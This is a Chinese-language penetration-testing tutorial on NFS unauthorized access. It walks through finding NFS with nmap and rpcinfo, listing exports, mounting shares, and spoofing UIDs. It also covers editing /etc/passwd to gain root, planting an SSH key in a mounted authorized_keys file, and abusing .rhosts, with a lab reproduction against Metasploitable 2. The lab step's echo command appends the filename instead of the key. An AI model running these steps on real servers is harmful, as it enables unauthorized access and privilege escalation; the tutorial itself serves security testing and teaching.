Contents
NFS 未授权访的原理与检测方式
NFS 代表 Network File System,它是一种协议,可以在 Unix 系统中找到,该协议允许网络上的用户以类似于本地存储的方式访问共享文件夹。现代 NFS 的实现包含防止误用”导出文件夹”的功能,但是,遗留系统中存在 NFS 服务配置不正确,可能会被滥用。
发现 NFS 服务
NFS 服务在端口 2049/TCP 上运行,因此可以在使用 Nmap 进行渗透测试在端口扫描活动中发现它。
2049/tcp open nfs 2-4 (RPC #100003)
最重要的是,可以使用 rpcinfo 实用程序来确定主机上是否正在运行任何 mountd 和 NFS 服务。
rpcinfo -p 192.168.1.172
列出”导出文件夹”
以下命令将检索给定主机的导出文件夹列表。此信息将用于访问这些文件夹。
showmount -e IP
当 showmount 命令与以下参数一起使用时,可以检索更多信息,例如 挂载点、连接的主机、挂载目录等。
showmount IP // Connected Hosts
showmount -d IP // Directories
showmount -a IP // Mount Points
另外,Metasploit Framework 具有一个可用于列出导出文件夹的模块。
auxiliary/scanner/nfs/nfsmount
还有一个名为 NFS Shell 的实用程序,可以连接到 NFS 共享并手动识别常见的安全问题。但是,它要求首先安装以下依赖项:
apt-get install libreadline-dev libncurses5-dev
make
gcc -g -o nfsshell mount_clnt.o mount_xdr.o nfs_prot_clnt.o nfs_prot_xdr.o nfsshell.o -L/usr/local/lib -lreadline -lhistory -lncurses
./nfsshell
可以使用以下命令获取导出文件夹的列表:
nfs> host <IP_address> // Connects to NFS Server
nfs> export // Export NFS List
访问 NFS 共享
可以通过创建一个空的本地文件夹并将共享安装到此文件夹来访问导出文件夹,如下例所示:
mkdir /temp/
mount -t nfs 192.168.1.172:/ /temp -o nolock
使用以下命令将列出所有本地驱动器,以验证共享是否已成功安装。
df -h
可以像系统上任何其他本地文件夹一样访问共享。
UID 操纵 (欺骗 NFS 服务器)
如果在导出共享中有某个文件,当前用户并没有读取权限。我们在某些条件下可以利用 UID 操纵的方式欺骗 NFS 服务器,让它认为在尝试读取文件的用户是这个文件的所有者。
以下命令将显示文件所有者的UID(用户ID)和GUID(组ID)。
ls -al
需要在本地创建一个新用户,该用户将具有与文件所有者相同的UID和名称。
useradd <user>
passwd <user>
可以从 /etc/passwd
文件更改UID 。
vi /etc/passwd
通过 su 命令切换到新用户。
su <useraccount>
这是因为导出的文件夹没有设置 all_squash 选项,该选项会将正在访问 NFS 文件夹的用户的 UID 和 GID 映射到匿名 UID/GID 。例如,尝试访问共享的主机的 root 用户 ID 将被 NFS 服务器上的 nobody 用户 ID 取代,以防止权限提升。
该 all_squash 选项可以在以下位置启用:
vi /etc/exports
/home 192.168.1.47(root_squash) // Enables Root Squash
/home 192.168.1.47(no_root_squash) // Disables Root Squash
如果我们对 /etc/passwd
文件有写权限,那我们可以将一些非特权用户的 UID 修改为 0,这可以让这些非特权用户获得 root 水平的访问权限。 例如, 将 service 用户的 UID 转变为 0 (0 是 root 用户的 UID) 可以展示这个问题。
这样修改后重新使用 serive 用户登陆就可以给 service 用户 root 权限了。
漏洞利用 shell 访问
根据导出文件夹中存储的文件,可能可以通过 SSH、RSH 或 Rlogin 获得 Shell 访问。这里面值得关注的文件主要是 authorized_keys, rhosts 。
这两个文件通常都是隐藏的,因此你通常需要使用以下命令
ls -al
生成 SSH 密钥对并将公共密钥添加到授权密钥列表中,将允许用户通过 NFS 服务器上的 SSH 连接。
cd /root/.ssh/
ssh-keygen -t rsa -b 4096
cp /root/.ssh/id_rsa.pub /temp/root/.ssh/
cat id_rsa.pub >> /temp/root/.ssh/authorized_keys
ssh -i /root/.ssh/id_rsa root@192.168.1.189
该.rhosts的该远程数据库主机或用户澄清可以在系统上访问本地帐户。如果.rhosts文件的内容是++符号,则表示它允许来自网络上任何主机和任何用户名的连接。
cat .rhosts
++
另一方面,如果 .rhosts 文件的内容不是 ++ 符号,那么你也可以检查文件内容,寻找合适的拥有权限的主机。
rsh -l root IP
rlogin -l root IP
其他背景
推荐测试靶机 Metasploitable 2
利用与复现
nmap -v 192.168.253.131
# 发现远程主机开启 2049/tcp nfs 服务端口
rpcinfo 192.168.253.131
# 确认远程主机提供 nfs 服务
mkdir -p /tmp/infosec
sudo mount -t nfs 192.168.253.131:/ /tmp/infosec
df -h
# 可以检查挂载远程文件系统是否成功
# 通过在 authorized_keys 写入 ssh 公钥来获取 shell 权限
cd ~/.ssh
ssh-keygen
cp msfadmin_vul.pub /tmp/infosec/home/msfadmin/.ssh/
cd /tmp/infosec/home/msfadmin/.ssh/
echo msfadmin_vul.pub >> authorized_keys
cd ~/.ssh
ssh -i msfadmin_vul msfadmin@192.168.253.131
# 解除挂载
sudo umount /tmp/infosec
使用 Wireshark 分析 showmount 命令流量
# 使用 tshark 捕获流量 网络接口为 ens33 将结果写入 test.pcapng
sudo tshark -i ens33 -w test.pcapng
# 在另一个窗口执行
showmount -e 192.168.253.131
流量中包含一些 Portmap 协议 / RPC 协议的内容。初始的 Portmap 协议是通过 UDP 封装的,之后的 MOUNT 协议是在 TCP 流上。
参考资料
https://pentestacademy.wordpress.com/2017/09/20/nfs/
https://bloodzer0.github.io/vulnerability/configuration-vulnerability/nfs-unauthorized-accss/
https://github.com/rapid7/metasploit-framework/blob/master/modules/auxiliary/scanner/nfs/nfsmount.rb
https://github.com/JE2Se/AssetScan/blob/master/vuln/vulnall.py#L25-L27
https://www.pa55w0rd.online/unauthorized-access-sumup/
https://yq.aliyun.com/articles/597669
Leave a Reply